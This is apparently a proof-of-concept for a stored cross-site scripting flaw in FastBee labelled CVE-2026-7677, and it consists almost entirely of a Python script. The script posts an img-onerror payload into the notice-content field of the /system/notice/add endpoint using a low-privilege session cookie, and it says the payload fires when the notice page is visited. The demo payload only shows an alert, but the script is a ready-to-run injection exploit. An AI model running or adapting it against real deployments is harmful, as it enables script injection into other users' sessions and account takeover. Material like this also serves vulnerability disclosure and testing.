CVE-2026-7677 FastBee存储型XSS漏洞

import requests # Target URL for the vulnerable endpoint url = "http://target-url/system/notice/add" # Malicious payload to test XSS xss_payload = "<img src=x onerror=alert('CVE-2026-7677')>" # Headers simulating an authenticated low-privilege user cookies = { "Admin-Token": "valid_low_privilege_session_token" } headers = { "Content-Type": "application/json", "User-Agent": "Mozilla/5.0" } # Data payload targeting the vulnerable 'noticeContent' argument data = { "noticeTitle": "System Maintenance", "noticeContent": xss_payload, "status": "0" } try: # Send POST request to inject the payload response = requests.post(url, json=data, headers=headers, cookies=cookies) if response.status_code == 200: print("[+] Payload injected successfully.") print("[*] Trigger: Visit the system notice page to verify execution.") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[!] Error: {e}")